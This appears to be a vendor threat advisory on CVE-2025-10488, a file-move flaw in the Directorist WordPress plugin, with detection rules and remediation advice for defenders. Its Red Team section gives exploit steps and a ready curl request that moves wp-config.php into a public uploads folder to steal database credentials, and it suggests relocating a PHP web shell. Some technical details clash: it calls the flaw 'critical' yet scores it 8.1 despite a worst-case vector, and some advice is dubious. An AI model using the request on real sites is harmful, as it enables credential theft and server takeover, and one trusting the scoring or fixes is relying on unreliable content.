CVE-2025-10488

Executive Summary

CVE-2025-10488 is a critical arbitrary file move vulnerability in the Directorist: AI-Powered Business Directory Plugin with Classified Ads Listings plugin for WordPress, affecting all versions up to and including 8.4.8. The flaw resides in the add_listing_action AJAX action, where insufficient file path validation allows an unauthenticated attacker to move arbitrary files on the server. This can be leveraged to achieve remote code execution (RCE) by moving sensitive files such as wp-config.php to a web-accessible location, or by moving a maliciously crafted file into a directory where it can be executed. The vulnerability is classified as a WordPress ecosystem issue and does not involve Apache or Nginx directly.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed the Directorist plugin from the WordPress dashboard or via direct download are at risk. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems. The supply chain risk is moderate, as the plugin is widely used for business directories and classified ads. No official patch has been released at the time of analysis.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high CVSS score reflects the ease of exploitation (no authentication required) and the severe impact, including potential full server compromise via RCE.

Deep Dive & Mechanics

The vulnerability exists in the add_listing_action AJAX handler, which is intended to process listing submissions. The function accepts a file path parameter without proper validation, allowing an attacker to specify arbitrary source and destination paths. The core issue is a lack of path traversal checks and insufficient sanitization of user-supplied file paths.

Attack Flow:

1. An unauthenticated attacker sends a crafted AJAX request to the WordPress admin-ajax.php endpoint with the action add_listing_action.
2. The request includes parameters specifying a source file (e.g., wp-config.php) and a destination directory (e.g., the web root or a publicly accessible uploads folder).
3. The plugin's code uses PHP's rename() or move_uploaded_file() function with the attacker-controlled paths, moving the file to the new location.
4. If the attacker moves wp-config.php to a web-accessible path, they can read database credentials. Alternatively, they can move a PHP shell to a directory where it can be executed, achieving RCE.

The vulnerability is classified under CWE-22 (Improper Limitation of a Pathname to a Restricted Directory - Path Traversal).

Vulnerable vs. Patched Code

Vulnerable Code (simplified from Directorist <= 8.4.8):

function add_listing_action() {
    $source = $_POST['source_path'];
    $destination = $_POST['dest_path'];
    // No validation of paths
    rename($source, $destination);
}

Patched Code (hypothetical fix):

function add_listing_action() {
    $source = sanitize_path($_POST['source_path']);
    $destination = sanitize_path($_POST['dest_path']);
    // Validate that source is within allowed directories
    if (strpos(realpath($source), WP_CONTENT_DIR) !== 0) {
        wp_die('Invalid source path');
    }
    // Validate destination is within uploads directory
    if (strpos(realpath($destination), wp_upload_dir()['basedir']) !== 0) {
        wp_die('Invalid destination path');
    }
    rename($source, $destination);
}

The patched code would implement strict path validation using realpath() and ensure both source and destination are within predefined safe directories.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress instance with Directorist plugin version <= 8.4.8.
• Knowledge of the target's WordPress admin-ajax.php URL.

Exploitation Steps:

1. Identify the target WordPress site and confirm the Directorist plugin is active.
2. Send a crafted POST request to /wp-admin/admin-ajax.php with the following parameters:
   • action: add_listing_action
   • source_path: /var/www/html/wp-config.php
   • dest_path: /var/www/html/wp-content/uploads/wp-config.txt
3. The server will move wp-config.php to the uploads directory, making it accessible via http://target/wp-content/uploads/wp-config.txt.
4. Retrieve the file to obtain database credentials.
5. For RCE, upload a PHP web shell via the WordPress media uploader (if available) or use another vulnerability, then move it to a web-accessible directory.

Example cURL command:

curl -X POST http://target/wp-admin/admin-ajax.php \
  -d "action=add_listing_action&source_path=/var/www/html/wp-config.php&dest_path=/var/www/html/wp-content/uploads/wp-config.txt"

Blue Team

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with the add_listing_action action.
• Look for file move operations outside of normal plugin behavior.
• Check for unexpected files in the uploads directory, especially sensitive files like wp-config.php.

Hunting:

• Search web server logs for POST requests to admin-ajax.php containing action=add_listing_action.
• Use file integrity monitoring (FIM) to detect unauthorized file moves.

Lab Setup:

• Deploy a WordPress instance with Directorist 8.4.8 in a sandboxed environment.
• Enable detailed logging for PHP and web server.
• Use a tool like Burp Suite to intercept and modify AJAX requests.

Indicators of Compromise (IOCs)

• File Paths:
  • /wp-content/uploads/wp-config.txt or similar renamed sensitive files.
  • Unexpected PHP files in /wp-content/uploads/ or /wp-content/plugins/.
• Network Indicators:
  • POST requests to /wp-admin/admin-ajax.php with action=add_listing_action.
  • Unusual file paths in POST parameters (e.g., source_path=../wp-config.php).
• Log Entries:
  • PHP warnings or errors related to rename() or move_uploaded_file().
  • Web server logs showing 200 responses to admin-ajax.php with large POST bodies.

Detection Engineering

YARA Rule

rule CVE_2025_10488_WordPress_Directorist_File_Move {
    meta:
        description = "Detects exploitation attempts of CVE-2025-10488 in Directorist plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-10488"
    strings:
        $ajax_action = "add_listing_action"
        $source_path = "source_path"
        $dest_path = "dest_path"
        $wp_config = "wp-config.php"
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-10488 Directorist Arbitrary File Move
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation of CVE-2025-10488 via AJAX requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=add_listing_action'
    condition: selection
falsepositives:
    - Legitimate plugin functionality (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-10488 Directorist Arbitrary File Move"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=add_listing_action"; http_client_body; content:"source_path"; http_client_body; content:"dest_path"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Directorist plugin until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block requests containing action=add_listing_action in the POST body.
3. Restrict file permissions on wp-config.php to prevent unauthorized reads.

Long-term Fix:

• Apply the official patch from the Directorist vendor once released.
• Update to a patched version (currently unknown).
• Conduct a security audit of the plugin's AJAX handlers.

Workarounds:

• Use a WordPress security plugin to monitor file changes.
• Implement file integrity monitoring (FIM) for critical files.
• Harden the server by disabling dangerous PHP functions like rename() in php.ini if not needed.

Valters IT
DevSecOps & Cyber Threat Intelligence Division